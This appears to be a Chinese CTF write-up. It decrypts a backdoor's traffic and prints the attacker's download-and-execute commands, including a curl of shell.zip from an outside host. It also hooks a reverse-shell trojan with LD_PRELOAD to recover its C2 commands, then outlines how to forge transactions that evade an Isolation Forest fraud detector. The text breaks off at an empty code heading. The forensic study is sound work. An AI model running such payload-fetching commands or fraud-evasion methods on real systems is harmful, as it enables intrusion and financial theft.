SnakeBackdoor-4

Challenge

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

Solution

根据上面后门指定了 X-Token-Auth,直接搜索 3011aa21232beb7504432bfa90d32779

后门用的加密算法是rc4,这是个对称密码,直接在原脚本的基础上改改就能得到解密脚本了:

python
import binascii RC4_SECRET = b'v1p3r_5tr1k3_k3y'def rc4_crypt(data: bytes, key: bytes) -> bytes:        S = list(range(256))        j = 0        for i in range(256):                j = (j + S[i] + key[i % len(key)]) % 256                S[i], S[j] = S[j], S[i]        i = j = 0        res = bytearray()        for char in data:                i = (i + 1) % 256                j = (j + S[i]) % 256                S[i], S[j] = S[j], S[i]                res.append(char ^ S[(S[i] + S[j]) % 256])        return bytes(res) def decrypt(enc_hex_cmd):    enc_cmd = binascii.unhexlify(enc_hex_cmd)    cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')    print(cmd)  enc = ["a6bc",       "bab1771fe3c167d904976a6971c1ba420d2151ab686ad6587751128712c88b46cbb73456445438",       "a3ab330fb285",       "bbb76743bfc926806187313e6edaf3074f245be4272bdf0a7f4c09d210d4d902c3e56f09094b120c0a092b8395aa713f7e718a69f5ae21c064256dc241a6b724a9aea3b216203e5a10f10eb13dd1edd3624db3f5654c99ff4765bb03a3a2146e29e2d2da1e573b22c81b0c52cfab219eccc668859e3bd14eab1aefc4ca669b52ea8226e7ef0c3c4cfc1b21d020c27df0a3c971ddf8fd045cf3f48bc8d7cee145c35da234effb63f0ef6c5ef1b4d17a70f304e97a24673b19854a68b986e4b09ba100994c8458ee27512ae609837ea44298e9807c3bb6425595741cee0dbfff85595cbc40a6ac4aee97d90dca171b19f76029b327b04f5533f3b88fe396d51235a1de8905931f13f9d60ebedd2ed372cc09951426dd495c5dbda222ea8830d99f1fb4c697d3e86ccab948282df14b99156b90904ac8dbe9fae55b52ef408ebe703884216be721280208e0e0082482add6b32472dd3b6eb5f931eec8d0d349a6c4f76482bc24b2db10b4",       "acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534",       "",       "bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a",       "8eaa704aba9f708c4bc36c3d7bd8f14e0f3a0dbe6e6ef558304a13940edac21f8da261191f095f38401963d4c9e6602c64649f69fb846592337d3f9533",       "a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351",       "",       "acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b",       "",       "e0ac7e52fc996cc2038c2d7a3899ed",       ""]for e in enc:    decrypt(e)

解出的结果是:

bash
iduid=0(root) gid=0(root) groups=0(root) ls -altotal 36drwxr-xr-x  5 root root  4096 Dec 20 13:55 .drwxrwxrwt 18 root root 12288 Dec 21 00:00 ..-rw-r--r--  1 root root  2284 Dec 20 13:55 app.py-rw-r--r--  1 root root    11 Dec 20 13:55 requirements.txtdrwxr-xr-x  2 root root  4096 Dec 20 13:55 staticdrwxr-xr-x  2 root root  4096 Dec 20 13:55 templatesdrwxr-xr-x  5 root root  4096 Dec 20 13:55 venv curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip unzip -P nf2jd092jd01 -d /tmp /tmp/123.zipArchive:  /tmp/123.zip  inflating: /tmp/shell mv /tmp/shell /tmp/python3.13 chmod +x /tmp/python3.13 /tmp/python3.13

FLAG

text
flag{python3.13}

SnakeBackdoor-5

Challenge

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

Solution

吃了不会逆向的亏,这一问没做出来连带着下一问也做不出来

先用 DIE 查壳

CISCN2025Quals-5

没有壳,是个 ELF 程序

分析木马的主入口点

CISCN2025Quals-6

这是一个加密的反弹 shell,C2 地址是 192.168.1.201:58782,协议是 TCP

CISCN2025Quals-7

sub_18ED 的作用是使用 TCP socket 接收函数(recv)循环读取数据

程序没有硬编码加密密钥,而是采用了一种基于 PRNG 的动态密钥生成方案

这里的 command_ 是网络字节序,因此在获取 command_ 后要对其转换字节序,将主机字节序的结果存入 seedseed = (command_ >> 8) & 0xFF00 | (command_ << 8) & 0xFF0000 | (command_ << 24) | HIBYTE(command_);

用 seed 初始化随机数生成器后连续调用4次 rand(),生成了 4 个 32 位整数然后把它们存在数组 v8

根据前面逆向的结果回到流量数据包寻找那个四字节的种子,构造以下规则筛选符合要求的流量(来自 192.168.1.201:58782 的长度为 4 字节的 TCP 流量)

text
(ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4

CISCN2025Quals-8

第一条结果就是程序接收到的种子 34952046
拿到种子后就可以还原加密密钥了

前面第 40 行的代码之所以需要转换字节序是因为它通过 Socket 接收到的是大端序的原始字节流,直接被小端序架构的 CPU 读取时会发生内存解释错误,因此需要将字节序调整为 CPU 能正确理解的主机序;人工提取直接把数据的逻辑数值作为整型常量定义即可,编译器在编译时会自动处理该数值在当前架构下的内存布局(也就是自动存为小端序)。

c
#include <stdio.h>#include <stdlib.h>#define HIBYTE(x) (((x) >> 24) & 0xFF) int main() {    unsigned int seed = 0x34952046;     srand(seed);     for (int i = 0; i <= 3; i++) {        unsigned int r = rand();        unsigned char *ptr = (unsigned char *)&r;        for (int j = 0; j < 4; j++) {            printf("%02x", ptr[j]);        }    }     return 0;}

Windows 的 rand() 和 Linux 的实现不同,木马是在 Linux 编译的所以这里在 kali 编译运行

CISCN2025Quals-9

得到加密密钥 ac46fb610b313b4f32fc642d8834b456

FLAG

text
flag{ac46fb610b313b4f32fc642d8834b456}

SnakeBackdoor-6

Challenge

请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}

Solution

赛后看了好久 SM4 还是看不懂,不用理解加密算法解题的方法比较常见的应该就是动调和 hook 了,然而我也不会动调,还是在 AI 的帮助下学学怎么 hook 吧

因为前面拿到的很多数据都是十六进制字符串,所以先写一个辅助函数来把十六进制字符串转为二进制字节流

c
// 将 Hex 字符串转为二进制字节流void hex_to_bin(const char *hex, unsigned char *bin) {    size_t len = strlen(hex);    for (size_t i = 0; i < len; i += 2) {        sscanf(hex + i, "%2hhx", &bin[i / 2]);    }}

继续分析程序主入口点的流程

CISCN2025Quals-6

先看前面就分析过的第 30-34 行,这里判断了如果 connect < 0 (连接失败)就会直接退出,所以要拦截 connect 并让它不小于 0 达到绕过 C2 的效果

双击这里的 connect 去看它是怎么实现的

CISCN2025Quals-10

c
int connect(int fd, const struct sockaddr *addr, socklen_t len){  return connect(fd, addr, len);}

让这里的返回值为 0 即可,得到代码:

c
int connect(int fd, const struct sockaddr *addr, socklen_t len) {    return 0;}

CISCN2025Quals-7

再看前面分析过的第 41-43 行,这里调用 4 次 rand() 来填充数组 v8,这里不用管随机数是怎么生成的,直接接管 rand() 的返回值,让它返回上一问拿到的 ac46fb610b313b4f32fc642d8834b456

c
int rand(void) {    // 定义变量,确保在多次调用间保持状态    static unsigned char key_bin[16];    static int rand_call_count = 0;    static int inited = 0;     // 第一次调用把 KEY_HEX 转为二进制存入 key_bin    if (!inited) {        hex_to_bin(KEY_HEX, key_bin);        inited = 1;    }     // 每次调用取出 4 字节作为一个整数返回给 v8[i]    if (rand_call_count < 4) {        unsigned int val = *(unsigned int *)&key_bin[rand_call_count * 4];        rand_call_count++;        return val;    }    return 0;}

这样在程序执行 v8[i] = rand() 时填入的就是 ac46fb610b313b4f32fc642d8834b456

前面分析过 sub_18EDrecv 的简单封装

CISCN2025Quals-11

往下翻翻哪里调用了 sub_18ED 大概率就是接收 C2 数据的地方了

CISCN2025Quals-12

第 46 行调用了 sub_18ED,这里读取了一个 4 字节的数据,通过下面的分析可以知道这个是密文长度,把密文长度存入 n4

第 51 行再次调用了 sub_18ED,这里把读取到的长度为 n4 的密文存入了 command

然后后面就是加密的流程了,不需要理解它是怎么加密的,劫持 sub_18ED 之后把密文长度与密文注入即可,但是 sub_18ED 不方便劫持,所以劫持 recv()

先看看 recv() 是咋写的

CISCN2025Quals-13

sub_18ED 被多次调用,根据调用次数让 recv() 返回指定结果

c
ssize_t recv(int sockfd, void *buf, size_t len, int flags) {    static int recv_step = 0; // 记录调用次数    static unsigned int current_len = 0;     // 握手包    if (recv_step == 0) {        memset(buf, 0x41, 4); // 随便给4个字节就行        recv_step++;        return 4;    }     int idx = recv_step - 1;     // 处理完就退出    if (DATA[idx] == NULL) {        exit(0);    }     // 长度    if (recv_step % 2 != 0) {        sscanf(DATA[idx], "%x", &current_len);         // 创建4字节缓冲区存储长度值        unsigned char len_buf[4];        // 构造网络字节序 n4 = (n4 >> 8) & 0xFF00 | (n4 << 8) & 0xFF0000 | (n4 << 24) | HIBYTE(n4);        len_buf[0] = (current_len >> 24) & 0xFF; // MSB        len_buf[1] = (current_len >> 16) & 0xFF;        len_buf[2] = (current_len >> 8) & 0xFF;        len_buf[3] = current_len & 0xFF;         // LSB         memcpy(buf, len_buf, 4);        recv_step++;         return 4;     }     // 密文    if (recv_step % 2 == 0) {        unsigned char *cipher_bin = (unsigned char *)malloc(current_len);        hex_to_bin(DATA[idx], cipher_bin);         // 将二进制密文数据复制到缓冲区        memcpy(buf, cipher_bin, current_len);         // 释放临时分配的内存        free(cipher_bin);         recv_step++;        return current_len;    }     return 0;}

sub_1860 是解密函数,程序将解密后的明文存放在 command 中,紧接着调用 popen(command, "r"),此时明文已经在 command 参数里了

CISCN2025Quals-14

直接拦截 popen(),劫持修改让它输出明文即可

c
FILE *popen(const char *command, const char *type) {    printf("%s\n", command);    return fopen("/dev/null", "r");}

为了能让程序稳定地循环解密,这里还需要额外处理 pclosesend

popen 中返回的是 fopen("/dev/null") 的普通文件流而非真正的进程管道,程序后续调用系统的 pclose 去关闭它时会报错退出;而程序执行完命令后会将结果通过 Socket 回传,但因为前面伪造了 connect,Socket 是无效的,调用 send 会导致 Broken pipe 错误

因此需要把这两个函数也 hook 掉假装一切正常:

c
int pclose(FILE *stream) {    if (stream) fclose(stream);    return 0;} ssize_t send(int sockfd, const void *buf, size_t len, int flags) {    return len;}

在筛选 (ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4 后对第一个结果(就是内容是种子的那条流量)追踪流(流 1827)得到密文长度和密文

CISCN2025Quals-15

text
349520460000001049b351855f211b85bd012f80ce8ed5b3000000102cc5becb37ca595a89445461c6512efc00000010b863696da0c6bb28da46e09069dd644f0000003087e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e700000010b7c88bb0d92308a57f83d08a90ae024c0000092091fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07cc2bccec85db48d820038d8c1273024cd80f99e761e2dc2ca5f79f97eb5e01c74a7807ba9f29d99338ea1962daba592f2f212ca8686cf37880755f82949cce1e38a7cd2c8f4a79e5a5b640375a94faa0dd2df11225df777845781f0562aab86e09effa9d6254ac8db8853036f680c37d9a047eafd0b65d7b8715cdd7f9becf3046afd113dc0b8b714b002cafc2482c4f240dab7cfa61ea30b3d4595b67563fde635bbd243f3ea8cca3d6bad779161939dd3acd3de84e9f0345f8e4c7b1dd0909922334bbbc0ccd412b8d8216337b515ad84833f28fc2641bf05e058be36ed08c073a5d9d24304eaf50c29d1f3cde1893acc5e4ba171ed4d1474d3f0046208ba565589ace3ecd59e248c22663b789ff5ff9eb73ea4fff8399159d10f689487d553333ce4ec0c0c568a5f532a015a6f1801f0d820a0b8a744b915248b842a2448d9b6d2d0493c7e8a32b86c05a26127a02bbb99ba83f410b1c2b9bbc1b5e39a5558f467eebd32b38a3e208c2534f74b450e412c2ab730ec45b224a2ba5255e24fd831db1d900c8a57967b8ad6993fb3a9b2de1d2d6093eb14a02ddd4cb29275b4cd80f99e761e2dc2ca5f79f97eb5e01ae78b840270ec94dd8eaeb7d15b9b74406f4e96257e0eec382482d4dcfb64257b9e83711e847957323fedb65b189afe150ae2213b7c9d2788dce7ba88cf8774a9bbe15c3832f0c136b1397209a7d6a9f37d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0c81a54b98f519ef41ce3775f5b2c26c7ad644797d69604a9fd412ae25a28aec737d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0158df499dc5f4de223e3dca72bbf66f48ac1fc75b1be3cc2e4de7d370f88778a006daefea44d62d389eff227e4d031124cd80f99e761e2dc2ca5f79f97eb5e01507836a14c3f3e83d0a317cd2ab8048eba52c6ca5e547ff797fca0cd47c62f4b7356b3bc38bc81e646000cf069b2be56d9fe59bcf4063d0a0363b9209c4f3860c90967283e1b364810145ed6e7525074a1a2527c05163cd8d49595c493a9bc5e5d480f143d8f892dfd8f90b3e8d3ea20352c9d0ad901cc079bf2a592ae4c58be125fff2fb31ecdcd95dc2fcdefdf1c6101dabec17b13f2d04eb8851a3115be66d1778dfb4003a9f705ad133b196c32404734c892cda46767181cf7a0a38fb8ac6e0a04a6bff4b1e8a7bfdabe5ddabbf62f934f8f91898a41dd0a0fd7c83eb55d27fe795766e9fcf20b8b885081848690e58d3748a157c7801a3d5c42db28cebf582760ac945ac0fc2b72edfc43c01c919b5a749a422da155198cbe9e3a2806a32a4e4a8590bbcf0496b0e13a8be7fbb69d55fc3541905d448499cd88edf0c58f59205e9f89a115e0ca9b5c3ebd9415c631acc7f6b9de54a40a9fa7d606f95e4cd62cd0cb2eb4feb350d04c46ce6f8b8d0eaf46208b3b4d4508812cd908bce78846ad5c20a6dbb14f7373dfce61976b85e58d3748a157c7801a3d5c42db28cebf75ec1d1089052336e2c805f6e1d401dc35b7bb0bf188e8a9c2e8567a3ae0ec3bf6b9c05a0b6a9673c89693fbe7894b0135481fbddaf394773fad605eae99f4600e956dd8d489eb2ed159c598fabec5b17c8df9c4b414a371aa84b77eefea1bb42418ea7fd3709e2ef4850ddae503e92a0b4ff34aa7020c999bac051005b26fa5a0f828b51e588aeca3e690e9c84ff682164a86379ddda02b1d92f0dee9a1d0cb9cbdf5432cc4b943ba474c4f5467500b0b31d077cf5047aa9384cf4b6757ca370a5e0604fcd15bfedaefe87179f97cf0efe63431c3b3540eb2e459cb8250fc1993bea701c61b61b7ffc13777b2d9f9dc57d229f0489d63280f8e8c73baeb70cada6aa30d3a91d0c8f4f2a26dd4e3e7ad0c99810245ae92a05893d4b74323a37247cc6c9c417f8082ccef101bd31acdc79c8a673396353a030358d2a3db37019672b8042929a68fea5ba9965e5145940355e00debe46e80b75dd31b646f39d4cb3e057bc64c8e3b39a7c6d3bfdd41a836ff87620ec931e8a490f0ad33048de50841a959f4baac6fb0e36b389f6f5ecb3925b04a5d37f37479c0ed02b23f38c64e44300433b5a0cbc4063760642bba08473e11ef2c7be2f6bc0ac99cca4792b17dfe4f3358455566bb4e3006a200a87466f4dafea0bfa7a420220ca5ec4f5e73d89784fce2cfc878df8f3609576975a58ce58d3748a157c7801a3d5c42db28cebf152ab441a154dfbd83e6e929e62be820e41688e06d47bde780960ef807b3fd78bdf05032d4aa84948b384d9afd9fc12c95169f9ee5c386f60e32374951be448e92d4853b4c8ae7fbc715f4562156ba86b5adc49e400e7c227c617a26bbd908a27896015cf6f8532e5c04b5030abe4f7f0f6c167ab0ea204e76fdfca5e6311fee6403bb60415e43af2a10de078a479a8c644709a3082176ffb04af8535796b3acf83bcd500f288a491101dcea576f1dd97ba6ce01d8f1de4e98135bf20f394129672538325aaded45fd604b388019b12df57ff11b010ba7c39dc7f04fd26b770806b46d91016bd16e126c8d3f6c874acfe42ee6bc7030e24c62e9901103458ebd44fced6e5064c2f19da84dfff4c62f6c1088c3bc411ab9ab0f7eb772b85958d94f1775cb597f36010c045326de15287a5ee634e93ce07e0ad0ea5c9cebc60308823d603ef85287de24fb532cbc577b8fd49553f3ca6067dd2b58467a749571247d6c20d005178494c3c9ec028297a8360248ecd4a8d4a9088a0b27faba386dca644709a3082176ffb04af8535796b3ac02f30c6c0d7cc594e2bcafb487e74f12157ce37c1553c6382b1689c659eaeb23672538325aaded45fd604b388019b12df57ff11b010ba7c39dc7f04fd26b770804245b989b54cced122e6e9e9551efd011a479cd8db04b5fdcdb0cb75ba0039c44fced6e5064c2f19da84dfff4c62f6c5f4161bc70501782795e73b2032071d9a205839af1b4b42d35f628f79847bf3cd80c3faa03cab06d8cbeae800ce724a7823d603ef85287de24fb532cbc577b8fa014e820aedef4bbd9685845951995982ccf1a4cef2497d36c1dd18bd968932e5e197f709a77d04aa112373cc4c1d0ab000000304331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770000000307f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a272900000030de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029000000107b82a7a9e2cacaa29b6e70cec2a3302a00000010f958a8cea6721e88d1882e0f16e4da4b000000107b82a7a9e2cacaa29b6e70cec2a3302a

然后拼起来得到完整的 hook 代码:

c
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h> const char *KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"; // 流量包捕获的密文长度和密文const char *DATA[] = {    "00000010",     "49b351855f211b85bd012f80ce8ed5b3",    "00000010",     "2cc5becb37ca595a89445461c6512efc",    "00000010",     "b863696da0c6bb28da46e09069dd644f",    "00000030",     "87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7",    "00000010",     "b7c88bb0d92308a57f83d08a90ae024c",    "00000920",     "91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07cc2bccec85db48d820038d8c1273024cd80f99e761e2dc2ca5f79f97eb5e01c74a7807ba9f29d99338ea1962daba592f2f212ca8686cf37880755f82949cce1e38a7cd2c8f4a79e5a5b640375a94faa0dd2df11225df777845781f0562aab86e09effa9d6254ac8db8853036f680c37d9a047eafd0b65d7b8715cdd7f9becf3046afd113dc0b8b714b002cafc2482c4f240dab7cfa61ea30b3d4595b67563fde635bbd243f3ea8cca3d6bad779161939dd3acd3de84e9f0345f8e4c7b1dd0909922334bbbc0ccd412b8d8216337b515ad84833f28fc2641bf05e058be36ed08c073a5d9d24304eaf50c29d1f3cde1893acc5e4ba171ed4d1474d3f0046208ba565589ace3ecd59e248c22663b789ff5ff9eb73ea4fff8399159d10f689487d553333ce4ec0c0c568a5f532a015a6f1801f0d820a0b8a744b915248b842a2448d9b6d2d0493c7e8a32b86c05a26127a02bbb99ba83f410b1c2b9bbc1b5e39a5558f467eebd32b38a3e208c2534f74b450e412c2ab730ec45b224a2ba5255e24fd831db1d900c8a57967b8ad6993fb3a9b2de1d2d6093eb14a02ddd4cb29275b4cd80f99e761e2dc2ca5f79f97eb5e01ae78b840270ec94dd8eaeb7d15b9b74406f4e96257e0eec382482d4dcfb64257b9e83711e847957323fedb65b189afe150ae2213b7c9d2788dce7ba88cf8774a9bbe15c3832f0c136b1397209a7d6a9f37d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0c81a54b98f519ef41ce3775f5b2c26c7ad644797d69604a9fd412ae25a28aec737d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0158df499dc5f4de223e3dca72bbf66f48ac1fc75b1be3cc2e4de7d370f88778a006daefea44d62d389eff227e4d031124cd80f99e761e2dc2ca5f79f97eb5e01507836a14c3f3e83d0a317cd2ab8048eba52c6ca5e547ff797fca0cd47c62f4b7356b3bc38bc81e646000cf069b2be56d9fe59bcf4063d0a0363b9209c4f3860c90967283e1b364810145ed6e7525074a1a2527c05163cd8d49595c493a9bc5e5d480f143d8f892dfd8f90b3e8d3ea20352c9d0ad901cc079bf2a592ae4c58be125fff2fb31ecdcd95dc2fcdefdf1c6101dabec17b13f2d04eb8851a3115be66d1778dfb4003a9f705ad133b196c32404734c892cda46767181cf7a0a38fb8ac6e0a04a6bff4b1e8a7bfdabe5ddabbf62f934f8f91898a41dd0a0fd7c83eb55d27fe795766e9fcf20b8b885081848690e58d3748a157c7801a3d5c42db28cebf582760ac945ac0fc2b72edfc43c01c919b5a749a422da155198cbe9e3a2806a32a4e4a8590bbcf0496b0e13a8be7fbb69d55fc3541905d448499cd88edf0c58f59205e9f89a115e0ca9b5c3ebd9415c631acc7f6b9de54a40a9fa7d606f95e4cd62cd0cb2eb4feb350d04c46ce6f8b8d0eaf46208b3b4d4508812cd908bce78846ad5c20a6dbb14f7373dfce61976b85e58d3748a157c7801a3d5c42db28cebf75ec1d1089052336e2c805f6e1d401dc35b7bb0bf188e8a9c2e8567a3ae0ec3bf6b9c05a0b6a9673c89693fbe7894b0135481fbddaf394773fad605eae99f4600e956dd8d489eb2ed159c598fabec5b17c8df9c4b414a371aa84b77eefea1bb42418ea7fd3709e2ef4850ddae503e92a0b4ff34aa7020c999bac051005b26fa5a0f828b51e588aeca3e690e9c84ff682164a86379ddda02b1d92f0dee9a1d0cb9cbdf5432cc4b943ba474c4f5467500b0b31d077cf5047aa9384cf4b6757ca370a5e0604fcd15bfedaefe87179f97cf0efe63431c3b3540eb2e459cb8250fc1993bea701c61b61b7ffc13777b2d9f9dc57d229f0489d6328",    "00000030",     "4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770",    "00000030",     "7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729",    "00000030",     "de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029",    "00000010",     "7b82a7a9e2cacaa29b6e70cec2a3302a",    "00000010",     "f958a8cea6721e88d1882e0f16e4da4b",    "00000010",     "7b82a7a9e2cacaa29b6e70cec2a3302a",    NULL // 结束}; // 将 Hex 字符串转为二进制字节流void hex_to_bin(const char *hex, unsigned char *bin) {    size_t len = strlen(hex);    for (size_t i = 0; i < len; i += 2) {        sscanf(hex + i, "%2hhx", &bin[i / 2]);    }} int connect(int fd, const struct sockaddr *addr, socklen_t len) {    return 0;} int rand(void) {    // 定义变量,确保在多次调用间保持状态    static unsigned char key_bin[16];    static int rand_call_count = 0;    static int inited = 0;     // 第一次调用把 KEY_HEX 转为二进制存入 key_bin    if (!inited) {        hex_to_bin(KEY_HEX, key_bin);        inited = 1;    }     // 每次调用取出 4 字节作为一个整数返回给 v8[i]    if (rand_call_count < 4) {        unsigned int val = *(unsigned int *)&key_bin[rand_call_count * 4];        rand_call_count++;        return val;    }    return 0;} ssize_t recv(int sockfd, void *buf, size_t len, int flags) {    static int recv_step = 0; // 记录调用次数    static unsigned int current_len = 0;     // 握手包    if (recv_step == 0) {        memset(buf, 0x41, 4); // 随便给4个字节就行        recv_step++;        return 4;    }     int idx = recv_step - 1;     // 处理完就退出    if (DATA[idx] == NULL) {        exit(0);    }     // 长度    if (recv_step % 2 != 0) {        sscanf(DATA[idx], "%x", &current_len);         // 创建4字节缓冲区存储长度值        unsigned char len_buf[4];        // 构造网络字节序 n4 = (n4 >> 8) & 0xFF00 | (n4 << 8) & 0xFF0000 | (n4 << 24) | HIBYTE(n4);        len_buf[0] = (current_len >> 24) & 0xFF; // MSB        len_buf[1] = (current_len >> 16) & 0xFF;        len_buf[2] = (current_len >> 8) & 0xFF;        len_buf[3] = current_len & 0xFF;         // LSB         memcpy(buf, len_buf, 4);        recv_step++;         return 4;     }     // 密文    if (recv_step % 2 == 0) {        unsigned char *cipher_bin = (unsigned char *)malloc(current_len);        hex_to_bin(DATA[idx], cipher_bin);         // 将二进制密文数据复制到缓冲区        memcpy(buf, cipher_bin, current_len);         // 释放临时分配的内存        free(cipher_bin);         recv_step++;        return current_len;    }     return 0;} FILE *popen(const char *command, const char *type) {    printf("%s\n", command);    return fopen("/dev/null", "r");} int pclose(FILE *stream) {    if (stream) fclose(stream);    return 0;} ssize_t send(int sockfd, const void *buf, size_t len, int flags) {    return len;}
bash
gcc -fPIC -shared -o hook.so hook.c -ldlLD_PRELOAD=./hook.so ./shell

CISCN2025Quals-16

不过这里要注意的是出题人互换了 1l0O,需要手动改回来(好阴啊)

FLAG

text
flag{6894c9ec-719b-4605-82bf-4fe1de27738f}

AI安全

The Silent Heist

Challenge

目标银行部署了一套基于 Isolation Forest (孤立森林) 的反欺诈系统。该系统不依赖传统的黑名单,而是通过机器学习严密监控交易的 20 个统计学维度。系统学习了正常用户的行为模式(包括资金流向、设备指纹的协方差关系等),一旦发现提交的数据分布偏离了“正常模型”,就会立即触发警报。

我们成功截取了一份包含 1000 条正常交易记录的流量日志 (public_ledger.csv)。请你利用统计学方法分析这份数据,逆向推导其多维特征分布规律,并伪造一批新的交易记录。

Solution

孤立森林是一种非参数化的异常检测算法,其核心思想是异常点往往稀少且不同。异常点远离高密度区域,在树中很快就会被孤立,路径长度较短;正常点处于高密度聚集区,要经过多次切分才能被孤立,路径长度较长。

先分析 public_ledger.csv 的统计特性:

python
import pandas as pddf = pd.read_csv('public_ledger.csv')print(df.describe())print(df.corr())

输出结果如下:

yaml
                f0           f1           f2           f3  ...          f16          f17          f18          f19count  1000.000000  1000.000000  1000.000000  1000.000000  ...  1000.000000  1000.000000  1000.000000  1000.000000mean    353.366066    27.518295    93.723774    82.976145  ...    31.057835    43.039691    14.267126    29.504623std      25.761303     2.727274     2.828509     2.690375  ...     2.574662     2.468624     2.808017     2.137193min     277.528901    19.139613    85.223702    75.070764  ...    22.914408    35.168580     5.381082    23.43673925%     335.406619    25.651252    91.867704    81.171030  ...    29.230476    41.424166    12.347197    28.07918250%     353.419892    27.557481    93.661490    82.935950  ...    31.025311    42.978489    14.239108    29.50881475%     370.928230    29.404009    95.605310    84.894005  ...    32.874875    44.669082    16.365519    31.046881max     431.299163    35.577185   102.853029    90.399800  ...    39.317027    50.426151    23.295685    36.214328 [8 rows x 20 columns]           f0        f1        f2        f3        f4  ...       f15       f16       f17       f18       f19f0   1.000000  0.750063  0.716637  0.759383  0.507360  ...  0.821064  0.703803  0.702949  0.830558  0.794620f1   0.750063  1.000000  0.806308  0.704578  0.689826  ...  0.749549  0.736088  0.696779  0.779997  0.581747f2   0.716637  0.806308  1.000000  0.671494  0.614247  ...  0.694812  0.716734  0.773410  0.682263  0.662238f3   0.759383  0.704578  0.671494  1.000000  0.725941  ...  0.890735  0.673606  0.728218  0.788946  0.692148f4   0.507360  0.689826  0.614247  0.725941  1.000000  ...  0.697393  0.680010  0.491486  0.552296  0.477895f5   0.662030  0.734213  0.810812  0.710760  0.553893  ...  0.629712  0.773858  0.697300  0.762147  0.685180f6   0.787701  0.730347  0.764020  0.718250  0.612411  ...  0.674097  0.678779  0.801436  0.745377  0.708017f7   0.700495  0.724452  0.671756  0.661123  0.674914  ...  0.759921  0.719829  0.561439  0.846569  0.582050f8   0.636828  0.728840  0.795659  0.786771  0.796218  ...  0.723262  0.765611  0.835049  0.709286  0.580926f9   0.843381  0.785895  0.708344  0.725701  0.620199  ...  0.778569  0.858284  0.718543  0.907205  0.717416f10  0.757026  0.763784  0.726032  0.851975  0.699480  ...  0.744315  0.746124  0.805886  0.761826  0.718435f11  0.705224  0.778396  0.779770  0.789787  0.668275  ...  0.747641  0.800492  0.839851  0.810376  0.691686f12  0.702653  0.767262  0.802256  0.782943  0.838507  ...  0.739345  0.755160  0.740916  0.690307  0.635369f13  0.789366  0.837702  0.832103  0.729791  0.587619  ...  0.831766  0.740468  0.800123  0.813361  0.709778f14  0.682876  0.760312  0.798318  0.660775  0.647816  ...  0.796049  0.692311  0.592889  0.618375  0.682284f15  0.821064  0.749549  0.694812  0.890735  0.697393  ...  1.000000  0.708625  0.680482  0.817315  0.724733f16  0.703803  0.736088  0.716734  0.673606  0.680010  ...  0.708625  1.000000  0.711181  0.745379  0.689665f17  0.702949  0.696779  0.773410  0.728218  0.491486  ...  0.680482  0.711181  1.000000  0.773676  0.601704f18  0.830558  0.779997  0.682263  0.788946  0.552296  ...  0.817315  0.745379  0.773676  1.000000  0.703803f19  0.794620  0.581747  0.662238  0.692148  0.477895  ...  0.724733  0.689665  0.601704  0.703803  1.000000 [20 rows x 20 columns]

可以发现 feat_0 的均值在 350 左右,要达到 200 万就要生成大约 6000 条记录。通过相关系数矩阵发现 feat_1 到 feat_19 之间并非完全独立,比如说某些设备指纹特征之间存在强耦合,如果生成的特征破坏了这种协方差关系孤立森林会就会识别出异常。

由于已知数据是正常行为,我们可以假定这些数据服从多元正态分布,其概率密度函数由均值向量 和协方差矩阵 决定:

即使是符合正态分布的数据,落在 3 之外的点依然会被孤立森林认为足够稀少从而判定为异常。因此我们的解题策略是协方差收缩,引入一个收缩因子 (),将生成的协方差矩阵设为 ,这会使得生成的点在保持特征间相关性的同时在空间上极度向均值中心 收缩。这样生成的数据都位于模型认为正常的区域,这些点的路径长度会达到最大值从而避开警报。

python
